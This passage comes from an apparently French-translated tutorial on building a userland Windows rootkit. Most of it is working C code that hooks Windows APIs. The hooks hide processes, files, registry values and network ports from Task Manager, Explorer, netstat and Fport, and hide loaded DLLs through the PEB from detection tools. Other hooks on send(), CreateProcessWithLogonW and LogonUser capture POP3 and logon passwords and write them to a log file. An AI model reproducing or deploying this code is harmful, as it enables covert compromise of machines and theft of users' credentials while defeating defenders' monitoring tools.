	PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
	char *pname = NULL;
	DWORD rc;

	/* 1st of all, get the return value of the function */
	rc = fNtQuerySystemInformation(SystemInformationClass,
		SystemInformation, SystemInformationLength,
		ReturnLength);

	/* if sucessful, perform sorting */
	if (rc == STATUS_SUCCESS)
	{
		/* system info */
		switch (SystemInformationClass)
		{
			/* process list */
			case SystemProcessInformation:
			pSpiCurrent = pSpiPrec =
			(PSYSTEM_PROCESS_INFORMATION)
			SystemInformation;

			while (1)
			{
				/* alloc memory to save process name
				in AINSI
				8bits string charset */
				pname = (char *)
				GlobalAlloc(GMEM_ZEROINIT,
				pSpiCurrent->ProcessName.Length + 2);

				/* Convert unicode string to ainsi */
				WideCharToMultiByte(CP_ACP, 0,
				  pSpiCurrent->ProcessName.Buffer,
				  pSpiCurrent->ProcessName.Length + 1,
				  pname, pSpiCurrent->ProcessName.Length + 1,
				  NULL, NULL);

				/* if "hidden" process*/
				if(!_strnicmp((char*)pname,
				RTK_PROCESS_CHAR,
					strlen(RTK_PROCESS_CHAR)))
				{
					/* First process */
					if (pSpiCurrent->NextEntryDelta	== 0)
					{
						pSpiPrec->NextEntryDelta= 0;
						break;
					}
					else
					{
						pSpiPrec->NextEntryDelta+=pSpiCurrent->NextEntryDelta;

						pSpiCurrent =
						   (PSYSTEM_PROCESS_INFORMATION)
						   ((PCHAR)
						    pSpiCurrent +
						    pSpiCurrent->NextEntryDelta);
					}
				}
				else
				{
					if (pSpiCurrent->NextEntryDelta == 0) break;
					pSpiPrec = pSpiCurrent;

					/* Walk the list */
					pSpiCurrent =
					(PSYSTEM_PROCESS_INFORMATION)
					((PCHAR) pSpiCurrent +
					   pSpiCurrent->NextEntryDelta);
				}

				GlobalFree(pname);
			} /* /while */
			break;
		} /* /switch */
	} /* /if */

	return (rc);
}
---------------------- END EXAMPLE 3 -----------------------------

Prcdemment j'ai dit que cibler NtQuerySystemInformation tait la seule
solution. Ceci n'est pas entirement vrai. Il est par contre sr que hooker
Process32First/Next ne sera d'aucun secours, mais c'est nanmoins possible
de procder autrement. En premier j'ai choisis de hooker SendMessage, donc
de cacher les processus au niveau du contrle ListBox. C'est une approche
trs spcifique du problme et non documente. Espionner le droulement de
taskmanager  la cration du processus avec Spy++ montre qu'il utilise la ligne
traitant du ralentissement systme du processus et change son nom pour
montrer le nouveau processus cr en envoyant un message de type LVM_SETITEMTEXT.
Donc, premirement il crase le contenu de la ligne contenant l'item ListBox,
puis il ajoute enfin une nouvelle ligne "processus lent" en envoyant un message
de type LVM_INSERTITEMW. En filtrant ces deux types de messages cela nous
permet de contrler ce que taskmanager voit. Pas trs professionnel mais efficace.

La fonction suivante remplace SendMessageW dans le taskmanager pour
empcher le programme d'envoyer des messages en relation avec les processus cachs.

----------------------	 EXAMPLE 4   -----------------------------
/* MySendMessageW : install a hook at display level (that is to say at
ListBox level) to prevent _* processes from being shown */
LRESULT WINAPI MySendMessageW(
	HWND hWnd,		/* handle of destination window */
	UINT Msg,		/* message to send */
	WPARAM wParam,	/* first message parameter  */
	LPARAM lParam)	/* second message parameter */
{
	LPLVITEM pit; /* simple pointer to a LVITEM structure */

	/* Filter events */
	if(	Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
		Msg==LVM_SETITEMTEXTW				)
	{
		/* If process name starts by '_', hide it*/
		if( ((char)(pit->pszText))=='_' )
		{
			hWnd=Msg=wParam=lParam=NULL;
			return 0;
		}
	}

	/* in the other case, just call the genuine function */
	return fSendMessageW(hWnd,Msg,wParam,lParam);
}
---------------------- END EXAMPLE 4 -----------------------------

Ce hook de trs haut niveau fait ce qu'on lui demande mais il ne
fonctionnera que pour taskmgr.exe

-------[ 4.2. Cacher un fichier
Une autre question frquemment pose est comment cacher des
fichiers. Comme expliqu ci-dessus, J'ai choisis de hooker
FindFirstFileA/W. C'est de loin suffisant pour les cacher aux yeux d'explorer,
la commande dir, et les autres "dialog boxes" fournis par les Common Controls.

D'aprs le [MSDN] la fonction FindFirstFile cherche dans un rpertoire
un fichier ou un sous-rpertoire dont le nom correspond  un nom spcifi.

HANDLE FindFirstFile(
   LPCTSTR lpFileName,
   LPWIN32_FIND_DATA lpFindFileData
   );

La fonction prend deux paramtres. Une chane finissant par '\0' spcifiant
un rpertoire valide ou un chemin et un nom de fichier, qui peut contenir des
caractres spciaux (* et ?): lpFileName, et un pointeur vers une structure
WIN32_FIND_DATA qui reoit les informations  propos du fichier ou du sous-rpertoire
trouv.
Si la fonction russi, la valeur de retour est un handle recherch
utilis dans un appel sous-jacent  FindNextFile ou FindClose.
Si la fonction choue, la valeur de retour est INVALID_HANDLE_VALUE.
La fonction FindFirstFile est appele pour commencer la recherche d'un
fichier. Si a russi, la recherche devrait poursuivre en appelant FindNextFile.

BOOL FindNextFile(
   HANDLE hFindFile,
   LPWIN32_FIND_DATA lpFindFileData
   );

Le paramtre hFindFile est un handle retourn par un prcdent appel
aux fonctions FindFirstFile ou FindFirstFileEx.
Comme avant, lpFindFileData pointe vers la structure WIN32_FIND_DATA
qui reoit les informations concernant le fichier ou le sous-rpertoire trouv.
La structure peut-tre utilise dans des appels sous-jacents  FindNextFile
pour voir le fichier trouv ou le rpertoire. La fonction russi si
elle ne retourne pas zro.

Jetons un coup d'oeil  la structure WIN32_FIND_DATA. Le membre important
est cFileName qui est une chane finissant par '\0' spcifiant le nom du fichier.

typedef struct _WIN32_FIND_DATA {
	DWORD dwFileAttributes;
	FILETIME ftCreationTime;
	FILETIME ftLastAccessTime;
	FILETIME ftLastWriteTime;
	DWORD nFileSizeHigh;
	DWORD nFileSizeLow;
	DWORD dwReserved0;
	DWORD dwReserved1;
	TCHAR cFileName[MAX_PATH];	  /* full file name */
	TCHAR cAlternateFileName[14];	/* file name in the classic 8.3
	(filename.ext) file name format. */
} WIN32_FIND_DATA,
*PWIN32_FIND_DATA;

Pour effectuer un listing de rpertoire, une application appelle FindFirstFile,
et appelle ensuite FindNextFile en utilisant le handle retourn, jusqu'
ce qu'elle retourne zro. Les fonctions ANSI et WIDE de FindFirst/NextFile
oprent de la mme faon except que la version WIDE effectue des appels 
WideCharToMultiByte, pour convertir des chanes UNICODE en ANSI.

----------------------	 EXAMPLE 5   -----------------------------
/* MyFindFirstFileA : hides protected files from file listing
(error checks stripped)*/
HANDLE WINAPI MyFindFirstFileA(
	LPCTSTR lpFileName,
	LPWIN32_FIND_DATA lpFindFileData)
{
	HANDLE hret= (HANDLE)1000;	/* return handle */
	int go_on=1;			/* loop flag */

	/* Process request */
	hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

	/* Then filter: while we get a 'hidden file', we loop */
	while( go_on &&
		!_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
		strlen(RTK_FILE_CHAR)))
	{
		go_on = fFindNextFileA(hret, lpFindFileData);
	}

	/* Oops, no more files? */
	if(!go_on)
		return INVALID_HANDLE_VALUE;

	return hret;
}
---------------------- END EXAMPLE 5 -----------------------------

Et maintenant remplaons FindNextFileA :
----------------------	 EXAMPLE 6   -----------------------------
/* MyFindNextFileA : hides protected files from being listed */
BOOL WINAPI MyFindNextFileA(
	HANDLE hFindFile,
	LPWIN32_FIND_DATA lpFindFileData
	)
{
	BOOL ret;	/* return value */

	/* While we get a file that should not be shown, we get another
	: */
	do
	{
		ret = fFindNextFileA(hFindFile, lpFindFileData);
	} while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
		 strlen(RTK_FILE_CHAR)) && ret!=0);

	/* We're out of the loop so we may check if we broke because there
	is no more files. If it's the case, we may clear the
	LPWIN32_FIND_DATA structure as this :
	my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
	*/
	return ret;
}
---------------------- END EXAMPLE 6 -----------------------------

-------[ 4.3. Base de registre
Empcher la source d'xcution d'tre dtecte est galement un dispositif
obligatoire pour ce type de rootkit. Pour permettre de cacher des cls, le rootkit
remplace l'API RegEnumValueW dans l'espace mmoire de tous les processus.
Le mode de fonctionnement de la nouvelle fonction est simple : si elle dtecte
que lui-mme est en train de lister le contenu d'une cl qui doit tre cache,
elle renvoie 1 qui est traduit par une erreur.
Le seul problme avec cette implmentation est que le processus appelant
va stopper son appel au listing du contenu de la cl. Donc, cela va galement
cacher les cls suivantes. Comme les cls sont gnralement rcupres par
ordre alphabtique, la RTK_REG_CHAR traduisant une cl cense tre cache
doit commencer par un code de caractre ASCII lev de sorte qu'elle sera rcupre
en dernire et ne nous cassera pas la tte.

----------------------	 EXAMPLE 7   -----------------------------
/*  MyRegEnumValue : hide registry keys when a list is requested */
LONG WINAPI MyRegEnumValue(
   HKEY    hKey,
   DWORD   dwIndex,
   LPWSTR  lpValueName,
   LPDWORD lpcValueName,
   LPDWORD lpReserved,
   LPDWORD lpType,
   LPBYTE  lpData,
   LPDWORD lpcbData)
{
	LONG lRet; /* return value */
	char buf[256];
	/* Call genuine API, then process to hiding if needed */
	lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName,lpReserved, lpType, lpData,lpcbData);

	/* Convert string from Unicode */
	WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL,NULL);

	/* If the key must be hidden... */
	if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
		lRet=1; /* then return 1 (error) */
	}

	return lRet;
}
---------------------- END EXAMPLE 7 -----------------------------

-------[ 4.4. Outils  la Netstat.
Les outils rseau d'analyse statistique sont de loin les plus vicieux. Il
y a plein de techniques pour rcuprer la liste des ports TCP/UDP utiliss
et le comportement de telles applications (netstat, [TCPVIEW], [FPORT]...)
variant d'une version de windows  une autre. Ceci est particulirement vrai
pour NT/2000 compar  XP o les statistiques rseau commencent  inclure 
l'identifiant du processus et le propritaire de chaque connection TCP.
Quelque soit la faon qu'utilise un processus pour obtenir ces statistiques,
un certain dialogue doit tre tablis avec le driver TCP/UDP se trouvant au
niveau du kernel (\Device\Tcp et \Device\Udp).
Celui-ci consiste en des appels  DeviceloControl pour envoyer une requte
et recevoir la rponse du driver. Hooker  ce niveau est possible mais trs
risqu et cauchemardesque, puisque les structures et les codes de contrle
utiliss ne sont pas documents et changent en fonction de la version de windows.
Donc le hook doit tre mis en place  un niveau diffrent, selon la qualit
de l'information recherche et la version de l'OS.

Comme le rootkit doit fonctionner sous 2000 et XP, nous devons prendre
en compte diffrents cas.

-------[ 4.4.1. Le cas de windows 2000
Sous windows 2000 l'API AllocateAndGetTcpExTableFromStack qui associe
un identifiant de processus  un flux TCP n'existe pas encore, donc les
informations fournis par l'API n'incluent pas cette rfrence.

-------[ 4.4.1.1. Hooker GetTcpTable
Les statistiques TCP doivent officiellement tre obtenue par un appel
 GetTcpTable, qui rcupre le tableau des connexions TCP (MIB_TCPTABLE).

DWORD GetTcpTable(
   PMIB_TCPTABLE pTcpTable,
   PDWORD pdwSize,
   BOOL border
);

La fonction prend trois paramtres. Le dernier, "border", dcide si le
tableau des connexions doit tre filtr. Puis, PdwSize spcifie la taille
du buffer point par le paramtre pTcpTable sur l'entre. Sur la sortie, la
fonction dfinie ce paramtre gal  la taille de buffer ncessaire.
Finalement, pTcpTable pointe vers un buffer recevant le tableau de connexions
sous la forme d'une structure MIB_TCPTABLE. Un exemple rcuprant le tableau
des connections TCP est disponible sur internet. [GETTCP]

La structure MIB_TCPTABLE contient un tableau des connections TCP
typedef struct _MIB_TCPTABLE {
	DWORD dwNumEntries;
	MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;
table est un pointeur vers un tableau des connexions TCP implment
comme un tableau de structures MIB_TCPROW, un pour chaque connexion.

Une structure MIB_TCPROW ressemble  a :
typedef struct _MIB_TCPROW {
   DWORD dwState;
   DWORD dwLocalAddr;
   DWORD dwLocalPort;
   DWORD dwRemoteAddr;
   DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;

Lorsque dwState dcrit l'tat d'une connexion donne, dwLocalAddr,
dwLocalPort, dwRemoteAddr, dwRemotePort nous informe  propos de la source 
et la destination des connexions. Nous sommes intresss par dwLocalPort et
dwRemotePort pour dterminer si le port appartient  la fourchette secrte
(entre RTK_PORT_HIDE_MIN et RTK_PORT_HIDE_MAX) et, si c'est le cas, doit tre cache.
Pour cacher une range dans la table TCP si ncessaire, La fonction MyGetTcpTable
dcalle la range entire, crasant ainsi la zone mmoire non dsire.

----------------------	 EXAMPLE 8   -----------------------------
/* MyGetTcpTable replacement for GetTcpTable.
(error checks stripped)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
			   bOrder)
{
	u_long LocalPort=0;   /* remote port on local machine endianness*/
	u_long RemotePort=0;  /* local port on local machine endianness */
	DWORD dwRetVal=0, numRows=0; /* counters */
	int i,j;

	/*Call original function, if no error, strip unwanted
	MIB_TCPROWs*/
	dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
	if(dwRetVal == NO_ERROR)
	{
		/* for each row, test if it must be stripped */
		for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
		{
			LocalPort	= (u_short) fhtons((u_short)
			(pTcpTable)->table[i].dwLocalPort);

			RemotePort	= (u_short) fhtons((u_short)
			(pTcpTable)->table[i].dwRemotePort);

			/* If row must be filtered */
			if( IsHidden(LocalPort, RemotePort) )
			{
				/* Shift whole array */
				for(j=i; j<((int)pTcpTable->dwNumEntries
				- 1);j++)
					memcpy( &(pTcpTable->table[i]),
						&(pTcpTable->table[i+1]),
						sizeof(MIB_TCPROW_));

				/* Erase last row */
				memset( &(pTcpTable->table[j]),
					0x00, sizeof(MIB_TCPROW_));

				/* Reduce array size */
				(*pdwSize)-= sizeof(MIB_TCPROW_);
				(pTcpTable->dwNumEntries)--;
			}
		}
	}

	return dwRetVal;
}
---------------------- END EXAMPLE 8 -----------------------------

Appeler GetTcpTable n'est pas la seule faon d'obtenir les statistiques rseau
sous windows 2000. Quelques programmes, comme fport donnent galement la correspondance
stream/pid et donc utilisent directement le driver TCP via la fonction DeviceloControl.
Dtourner cette API n'est pas une bonne ide comme expliqu avant. En consquence,
l'approche que j'ai adopt est de cibler certaines fonctions utilises par
des outils de scurit rpandus plutt que de hooker  un niveau plus bas
en remplaant DeviceloControl.

-------[ 4.4.1.2. Tromper netstat
Dans cette version de windows, fport n'est pas le seul utilisant directement
le driver TCP/UDP. C'est galement le cas de netstat. Pour tromper ces
programmes, nous devons juste remplacer les fonctions impliques dans les
statistiques rseaux en procdant de l'appel  DeviceloControl jusqu'
la sortie de l'cran.

Avec netstat, l'ide est de hooker l'API CharToOemBuffA utilise pour
effectuer la traduction de caractres pour chaque ligne avant qu'elles ne
soient affiches dans la console.

BOOL CharToOemBuff(
   LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
		       translate. */
   LPSTR lpszDst,   /* Pointer to the buffer for the translated
		       string.	 */
   DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);

Si le rootkit note qu'une chane contenant un port cach est en train
d'tre traduit, il appel juste la fonction avec un buffer blanc, donc la
traduction rsultera en un buffer blanc, et la sortie ne montrera rien.

----------------------	 EXAMPLE 9   -----------------------------
/* MyCharToOemBuffA : replace the function used by nestat to convert
strings to a different charset before it sends it to output, so we can get
rid of some awkward lines...  :)
*/
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
	/* If the line contains our port range, we simply get rid of
	   it. */
	if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
	{
		/* We call the function, providing a blank string */
		return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
	}
	return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}
---------------------- END EXAMPLE 9 -----------------------------

Comme netstat appelle la fonction pour chaque ligne crite, il n'y a pas
de problme  en effacer une entire.

-------[ 4.4.1.2. Tromper Fport
Cependant, ce n'est pas le cas de Fport, qui procde caractre par
caractre pour la sortie. J'ai choisis de hooker l'API WriteFile, et de
mettre en place un mcanisme de buffer pour que la sortie soit fate
ligne par ligne, et le camouflage en rsulte plus simple.

----------------------	 EXAMPLE 10  -----------------------------
/* Convert FPORT.exe's output mode from char by char to line by line to
allow hiding of lines containing ports to hide
*/
BOOL WINAPI MyWriteFile(
   HANDLE hFile,		    /* handle to file to write to */
   LPCVOID lpBuffer,		    /* pointer to data to write to file */
   DWORD nNumberOfBytesToWrite,     /* number of bytes to write */
   LPDWORD lpNumberOfBytesWritten,  /* pointer to number of bytes
   written*/
   LPOVERLAPPED lpOverlapped	    /* pointer to structure for overlapped
   )							      I/O*/
{
	BOOL bret=TRUE;			/* Return value */
	char* chr = (char*)lpBuffer;
	static DWORD total_len=0;		/* static length
	counter */
	static char PreviousChars[2048*10];	/* static characters'
	buffer
						   (bof?) */

	/* Add the new character */
	PreviousChars[total_len++] = chr[0];
	/* Check for line termination */
	if(chr[0] == '\r')
	{

		PreviousChars[total_len] = '\n';
		PreviousChars[++total_len] = '\0';

		/* show this line only if it contains no hidden port
		/ process
		prefix */
		if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL &&
		   strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)
		{

			/* Valid line, so process output */
			bret = fWriteFile(hFile, (void*)PreviousChars,
				          strlen((char*)PreviousChars),
			lpNumberOfBytesWritten,
			lpOverlapped);
		}

	/* Clear settings */
	memset(PreviousChars, 0, 2048);
	total_len= 0;
	}

	/* fakes the var, so fport can't see output wasn't done */
	(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

	return bret;
}
---------------------- END EXAMPLE 10 -----------------------------

-------[ 4.4.2. Le cas de windows XP
Sous windows XP les programmes n'ont pas  passer par l'enfer en agissant
directement sur le driver TCP/UDP comme l'API windows fournit suffisamment
de statistiques. Ainsi, les outils rseau les plus rpandus
(netstat, Fport, Tcpview) se basent tous sur AllocateAndGetTcpExTableFromStack
(seulement XP) ou sur la classique GetTcpTable en fonction des besoins.
Donc, pour couvrir le problme sous windows XP, le rootkit doit juste remplacer
l'API AllocateAndGetTcpExTableFromStack. Chercher dans le msdn cette fonction
est inutile. Elle n'est pas documente.
Cependant il existe quelques exemples utiles sur le web tel que [NETSTATP]
distribu par Sysinternals qui est assez explicite.
La fonction AllocateAndGetTcpExTableFromStack prends ces arguments.

DWORD AllocateAndGetTcpExTableFromStack(
   PMIB_TCPEXTABLE *pTcpTable,	/* buffer for the connection table */
   BOOL bOrder,				/* sort the table? */
   HANDLE heap,				/* handle to process heap
   obtained by
   calling GetProcessHeap() */
   DWORD zero,				/* undocumented */
   DWORD flags				/* undocumented */
   )

Le premier paramtre est le seul intressant. Il pointe vers une structure
MIB_TCPEXTABLE, qui est un prolongement de PMIB_TCPTABLE, comme suit.

/* Undocumented extended information structures available
only on XP and higher */
typedef struct {
   DWORD   dwState;	   /* state of the connection */
   DWORD   dwLocalAddr;    /* address on local computer */
   DWORD   dwLocalPort;    /* port number on local computer */
   DWORD   dwRemoteAddr;   /* address on remote computer */
   DWORD   dwRemotePort;   /* port number on remote computer */
   DWORD   dwProcessId;   /* process identifier */
} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {
   DWORD	dwNumEntries;
   MIB_TCPEXROW table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;

C'est la mme chose que les structures employes pour fonctionner avec
GetTcpTable, donc le travail de la fonction de remplacement sera quelque
peu identique.

----------------------	 EXAMPLE 11  -----------------------------
/*
AllocateAndGetTcpExTableFromStack replacement. (error checks
stripped)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
   PMIB_TCPEXTABLEE *pTcpTable,
   BOOL bOrder,
   HANDLE heap,
   DWORD zero,
   DWORD flags
   )
{
	/* error handler, TcpTable walk index, TcpTable sort index */
	DWORD err=0, i=0, j=0;
	char psname[512];				/* process name */
	u_long LocalPort=0, RemotePort=0;	/* local & remote port */


	/* Call genuine function ... */
	err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
		  zero,flags );

	/* Exit immediately on error */
	if(err)
		return err;

	/* ... and start to filter unwanted rows. This will hide all
	opened/listening/connected/closed/... sockets that belong to
	secret range or reside in a secret process
	*/
	/* for each process... */
	for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
	{
		/* Get process name to filter secret processes' sockets */
		GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
				    (char*)psname);
		/* convert from host to TCP/IP network byte order
		(which is big-endian)*/
		LocalPort	= (u_short) fhtons((u_short)
						   (*pTcpTable)->table[i].dwLocalPort);
		RemotePort	= (u_short) fhtons((u_short)
						   (*pTcpTable)->table[i].dwRemotePort);

			/* Decide whether to hide row or not */
			if(	!_strnicmp((char*)psname, RTK_FILE_CHAR,
				strlen(RTK_FILE_CHAR))
				||  IsHidden(LocalPort, RemotePort) )
			{
				/* Shift whole array*/
				for(j=i; j<((*pTcpTable)->dwNumEntries);
				j++)
				       memcpy(
				       (&((*pTcpTable)->table[j])),
				       (&((*pTcpTable)->table[j+1])),
				       sizeof(MIB_TCPEXROWEx));

					/* clear last row */
					memset( (&((*pTcpTable)->table[((
						(*pTcpTable)->dwNumEntries)-1)])),0,
						 sizeof(MIB_TCPEXROWEx));

				/* decrease row number */
				((*pTcpTable)->dwNumEntries)-=1;


				/* do the job again for the current row,
				that may also
				contain a hidden process */
				continue;
			}

		/* this row was ok, jump to the next */
		i++;
	}
	return err;
}
---------------------- END EXAMPLE 11 -----------------------------

Cette fonction de remplacement rside dans kNTINetHide.c.

-------[ 4.5. Backdoor TCP globale / rabbateur de password
Comme le rootkit est inject dans presque tous les processus utilisateur,
il y a possibilit de mettre en place une backdoor TCP globale en dtournant
recv et WSARecv, permettant de transformer n'importe quelle application
(incluant un serveur web), en une backdoor. C'est suffisamment compliqu
pour tre un projet entier en soit. Je me suis donc concentr sur un
rcuprateur de mot de passe virtuellement capable de rcuprer les passwords
envoys par n'importe quel client mail [kSENTINEL]. Actuellement, il cible
Outlook et Netscape mais doit tre facilement extensible  d'autres applications
en jouant sur les #define. Il dtourne dynamiquement le flux TCP quand le
client mail change des donnes avec le serveur distant. Par consquent,
il permet de rcuprer les commandes USER et PASS pour tre utilis pour
gagner en privilge plus tard.

----------------------	 EXAMPLE 12   -----------------------------
/* POP3 Password grabber. Replaces the send() socket function.
*/
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
	int retval=0;		/* Return value */
	char* packet;		/* Temporary buffer */

	if(!fSend)		/* no one lives for ever (error check) */
		return 0;

	/* Call original function */
	retval = fSend(s, buf, len, flags);

	/* packet is a temp buffer used to deal with the buf parameter
	that may be in a different memory segment, so we use the
	following memcpy trick.
	*/
	packet = (char*) malloc((len+1) * sizeof(char));
	memcpy(packet, buf, len);

	/* Check if memory is readable */
	if(!IsBadStringPtr(packet, len))
	{
		/* Filter interesting packets (POP3 protocol) */
		if(strstr(packet, "USER") || strstr(packet, "PASS"))
		{
			/* Interesting packet found! */

			/* Write a string to logfile (%user
			profile%\NTILLUSION_PASSLOG_FILE) */

			Output2LogFile("'%s'\n", packet);
		}
	}


	free(packet);

	return retval;
}
---------------------- END EXAMPLE 12 -----------------------------

Les logins et passwords FTP devraient aussi tre rcuprs en ajoutant
les bonnes expressions dans les conditions de filtrage.

-------[ 4.6. Gagner en privilges
Chopper les passwords POP3 et FTP devrait nous permettre de se propager
sur la machine locale puisque les utilisateurs utilisent souvent le mme
password pour diffrents comptes. De toute manire lorsque l'on rcupre
un password utilis pour se logger comme un utilisateur diffrent sur
la machine, il ne fait aucun doute que le password sera efficace.
En effet, le rootkit log les tentatives de changer d'utilisateur depuis le
bureau. C'est le cas quand l'utilisateur utilise la commande runas ou choisi
le menu "run as user" en faisant un clique droit sur un xcutable.
Les APIs impliques dans ces situations sont rediriges ainsi chaque login
russi est mticuleusement enregistr sur le disque dur pour une utilisation
future.
Ceci est ralis en remplaant LogonUserA et CreatProcessWithLogonW.

L'outil runas prsent sur windows 2000/XP est reli 
CreateProcessWithLogonW. Son remplaant ci-joint.

----------------------	 EXAMPLE 13   -----------------------------
/* MyCreateProcessWithLogonW : collects logins/passwords employed to
create a process as a user. This Catches runas passwords. (runas
/noprofile /user:MyBox\User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
   LPCWSTR lpUsername,		/* user name for log in request */
   LPCWSTR lpDomain,			/* domain name for log in
   request */
   LPCWSTR lpPassword,		/* password for log in request */
   DWORD dwLogonFlags,		/* logon options*/
   LPCWSTR lpApplicationName,	/* application name... */
   LPWSTR lpCommandLine,		/* command line */
   DWORD dwCreationFlags,		/* refer to CreateProcess*/
   LPVOID lpEnvironment,		/* environment vars*/
   LPCWSTR lpCurrentDirectory,	/* base directory */
   LPSTARTUPINFOW lpStartupInfo,	/* startup and process infor, see
					   CreateProcess */
   LPPROCESS_INFORMATION lpProcessInfo)
{
	BOOL bret=false;	/* Return value */
	char line[1024];	/* Buffer used to set up log lines */

	/* 1st of all, log on the user */
	bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
					dwLogonFlags,lpApplicationName,lpCommandLine,
					dwCreationFlags,lpEnvironment,lpCurrentDirectory,
					lpStartupInfo,lpProcessInfo);

	/* Inject the created process if its name doesn't begin by
	   RTK_FILE_CHAR (protected process) */
	/* Stripped [...] */

	/* Log the information for further use */
	memset(line, 0, 1024);
	if(bret)
	{
		sprintf(line, "Domain '%S' - Login '%S' - Password '%S' 
			LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
	}
	else
	{
		sprintf(line, "Domain '%S' - Login '%S' - Password '%S' 
		LOGON FAILED", lpDomain, lpUsername, lpPassword);
	}

	/* Log the line */
	Output2LogFile((char*)line);

	return bret;
}
---------------------- END EXAMPLE 13 -----------------------------

Sous windows XP, explorer.exe offre un GUI pour effectuer les oprations
de login depuis le bureau. Il utilise LogonUser qui doit tre remplac
comme ci-dessous. Notre intrt se porte uniquement sur lpszUsername,
lpszDomain, lpszPassword.

----------------------	 EXAMPLE 14   -----------------------------
/* MyLogonUser : collects logins/passwords employed to log on from the
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR
   lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE
   phToken)
{
	char buf[1024]; /* Buffer used to set up log lines */

	/* Set up buffer */
	memset(buf, 0, 1024);
	sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n",
		lpszUsername,
		lpszPassword,
		lpszDomain);
	/* Log to disk */
	Output2LogFile((char*)buf);

	/* Perform LogonUser call */
	return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
			  dwLogonType, dwLogonProvider, phToken);
}
---------------------- END EXAMPLE 14 -----------------------------

Les donnes rcupres sont envoyes vers un fichier de log dans le
rpertoire racine de l'utilisateur et devraient tre encryptes  l'aide
d'une simple cl XOR de 1 octet.

-------[ 4.7. Module cach
Tant que le rootkit est charg dans un processus, le rootkit cache ses
DLLs. Donc, si le systme ne hook pas LdrLoadDll ou son quivalent au
niveau du kernel, il apparat que le rootkit n'a jamais t inject dans les
processus. La technique utilise plus loin est trs efficace sur tous les
programmes en relation avec l'API windows d'numration de modules.
D au fait que EnumProcessModules/Module32First/Module32Next/... dpend
de NtQuerySystemInformation, et parce que cette technique fausse la faon
dont l'API rcupre les informations, il n'y a aucune faon de se faire
repr par cet intermdiaire. Ceci met  mal les programmes numrant les
modules des processus tel que ListDlls, ProcessExplorer (Voir [LISTDLLS] et
[PROCEXP]), et le dtecteur de rootkit VICE. [VICE]

La dception peut tre de mise en ring 3 puisque le kernel maintien une
liste de chaque DLL charge pour un processus donn dans son espace mmoire,
dans le userland. Donc un processus doit s'affecter lui-mme et craser des
parties de sa mmoire dans le but de cacher un de ses modules. Ces structures
de donnes sont bien videmment non documentes mais elles peuvent tre
retrouves en utilisant le "Process Environment Block" (PEB), situ 
FS:0x30 dans chaque processus. La fonction ci-dessous retourne l'adresse du
PEB pour le processus courant.

----------------------	 EXAMPLE 15   -----------------------------
DWORD GetPEB()
{
	DWORD* dwPebBase = NULL;
	/* Return PEB address for current process
	address is located at FS:0x30 */
	__asm
	{
		push eax
		mov eax, FS:[0x30]
		mov [dwPebBase], eax
		pop eax
	}
	return (DWORD)dwPebBase;
}
---------------------- END EXAMPLE 15 -----------------------------

Le rle du PEB est de rcuprer les informations frquemment accdes
pour un processus comme suit.
A l'adresse FS0x30 (ou 0x7FFDF000) se trouvent les membres suivants du
[PEB].

/* located at 0x7FFDF000 */
typedef struct _PEB
{
   BOOLEAN		   InheritedAddressSpace;
   BOOLEAN		   ReadImageFileExecOptions;
   BOOLEAN		   BeingDebugged;
   BOOLEAN		   Spare;
   HANDLE		   Mutant;
   PVOID		   ImageBaseAddress;
   PPEB_LDR_DATA	   LoaderData;
   PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
   [...]
   ULONG		   SessionId;
} PEB, *PPEB;

Le membre intressant dans note cas est PPEB_LDR_DATA LoaderData contenant
des informations remplies par le chargeur au lancement, et ensuite
lorsqu'un chargement/dchargement de DLL a lieu.


typedef struct _PEB_LDR_DATA
{
   ULONG		   Length;
   BOOLEAN		   Initialized;
   PVOID		   SsHandle;
   LIST_ENTRY		   InLoadOrderModuleList;
   LIST_ENTRY		   InMemoryOrderModuleList;
   LIST_ENTRY		   InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

La structure PEB_LDR_DATA contient trois LIST_ENTRY qui font partie
d'un double lien vers des listes rcuprant des informations sur les DLL
charges dans le processus courant. InLoadOrderModuleList trie les modules
